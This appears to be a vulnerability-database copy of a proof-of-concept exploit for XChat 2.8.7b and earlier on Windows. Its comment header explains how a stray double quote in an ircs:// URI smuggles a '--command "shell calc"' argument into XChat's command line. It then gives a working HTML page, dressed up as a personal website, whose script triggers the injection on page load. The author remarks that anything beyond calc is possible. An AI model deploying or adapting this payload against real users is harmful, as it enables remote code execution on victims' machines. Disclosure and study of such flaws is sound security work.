################################################################################################################## # # Xchat <= 2.8.7b Remote Code Execution (tested on Windows XP SP1+SP2+SP3, IE6 & IE7 fully patched) # Vendor : http://xchat.org/ # Affected Os : Windows * # Risk : critical # # This bug is related to the URI Handler vulnerability but the approch is a bit different. # We don't use any % or ../../../ as the others related bugs, just a single " # According to the registry , when the IRCS:// URI is called , the command launched is : # C:\Program Files\xchat\xchat.exe --existing --url="%1" # # The xchat --help option tells us : # " --command=COMMAND :Send a command to existing xchat " # # So we add a simple " at the end of the URL and we're in business ? # Yep =) ircs://blabla@3.3.3.3" --command "shell calc" # # Note: The victim needs to be connected to an irc server , and also need IE * . # # # # Greetz: French/Quebec community, http://spiritofhack.net/ # # "If in times like theses you can talk about individual freedoom, you're propably a terrorist" # # Poc: this only launch the calc, sky is the limit passed this point. <html> <head><title>Welcome to my personal website</title></head> <body> <script>document.location='ircs://blabla@3.3.3.3" --command "shell calc"'</script> </body> </html>
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京公网安备 11010502034610号
暂无评论